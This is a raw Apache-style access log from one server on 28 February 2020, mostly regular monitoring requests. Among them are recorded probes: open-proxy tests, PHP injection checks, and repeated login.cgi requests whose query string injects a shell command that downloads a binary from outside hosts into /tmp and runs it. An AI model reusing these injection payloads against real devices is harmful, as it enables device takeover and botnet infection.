212.91.246.72 - - [28/Feb/2020:12:57:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:12:58:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [28/Feb/2020:12:58:38 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [28/Feb/2020:12:59:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:00:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:01:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:02:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:03:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [28/Feb/2020:13:03:50 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
73.142.80.93 - - [28/Feb/2020:13:03:52 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:13:04:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [28/Feb/2020:13:05:01 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:13:05:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:06:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:07:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
64.246.165.210 - - [28/Feb/2020:13:07:34 +0100] "GET /robots.txt HTTP/1.0" 404 332 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
64.246.165.210 - - [28/Feb/2020:13:07:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
222.82.58.64 - - [28/Feb/2020:13:07:55 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
123.179.12.247 - - [28/Feb/2020:13:07:57 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
110.177.84.100 - - [28/Feb/2020:13:07:59 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
221.11.20.164 - - [28/Feb/2020:13:07:59 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
122.96.29.26 - - [28/Feb/2020:13:07:59 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
222.94.212.4 - - [28/Feb/2020:13:07:59 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
112.80.136.6 - - [28/Feb/2020:13:08:02 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
119.118.27.251 - - [28/Feb/2020:13:08:02 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
223.166.74.234 - - [28/Feb/2020:13:08:02 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
124.225.42.83 - - [28/Feb/2020:13:08:06 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:13:08:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:09:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:10:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.244.140.95 - - [28/Feb/2020:13:10:49 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:13:11:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.90.205.60 - - [28/Feb/2020:13:12:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [28/Feb/2020:13:12:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:13:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:14:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:15:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:16:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:17:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:18:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:19:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:20:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.108.45.44 - - [28/Feb/2020:13:20:39 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:13:21:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:22:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.220.24.61 - - [28/Feb/2020:13:22:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:13:23:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.209.234 - - [28/Feb/2020:13:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:13:24:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.189.151.188 - - [28/Feb/2020:13:24:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:13:25:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:26:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:27:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:28:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:29:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:30:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:31:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.69.240.188 - - [28/Feb/2020:13:31:54 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
212.91.246.72 - - [28/Feb/2020:13:32:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:33:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:34:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:35:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.21.125.201 - - [28/Feb/2020:13:36:02 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
80.107.32.148 - - [28/Feb/2020:13:36:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:13:36:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:37:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:38:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:39:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:40:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:41:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:42:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:43:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:44:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [28/Feb/2020:13:44:40 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:13:45:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [28/Feb/2020:13:46:00 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:13:46:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.119.90.75 - - [28/Feb/2020:13:47:05 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:13:47:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:48:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:49:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:50:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:51:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:52:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:53:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:54:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:55:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:56:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:57:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:58:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:13:59:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:00:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:01:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:02:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.225.225.38 - - [28/Feb/2020:14:02:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
46.221.46.138 - - [28/Feb/2020:14:03:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:14:03:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:04:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:05:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:06:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [28/Feb/2020:14:06:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [28/Feb/2020:14:06:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [28/Feb/2020:14:06:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [28/Feb/2020:14:07:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [28/Feb/2020:14:07:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [28/Feb/2020:14:07:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:08:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.121.123.160 - - [28/Feb/2020:14:09:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:14:09:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:10:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:11:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
70.115.248.205 - - [28/Feb/2020:14:11:55 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:14:12:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:13:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:14:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:15:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:16:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.118.161.53 - - [28/Feb/2020:14:17:30 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
212.91.246.72 - - [28/Feb/2020:14:17:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:18:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.102.136.106 - - [28/Feb/2020:14:19:30 +0100] "GET / HTTP/1.1" 200 1229 "http://www.herrmann-kleindienst.de/produkte/fuehrerscheinwesen/index.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
91.102.136.106 - - [28/Feb/2020:14:19:30 +0100] "GET /favicon.ico HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
212.91.246.72 - - [28/Feb/2020:14:19:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:20:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:21:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:22:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:23:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:24:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:25:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:26:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.154.219.150 - - [28/Feb/2020:14:26:51 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:14:27:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:28:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:29:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [28/Feb/2020:14:30:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [28/Feb/2020:14:30:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [28/Feb/2020:14:30:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [28/Feb/2020:14:30:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [28/Feb/2020:14:30:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [28/Feb/2020:14:31:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
191.103.252.72 - - [28/Feb/2020:14:31:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:14:31:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:32:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:33:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.125.44.233 - - [28/Feb/2020:14:34:11 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [28/Feb/2020:14:34:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.9.164.138 - - [28/Feb/2020:14:35:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
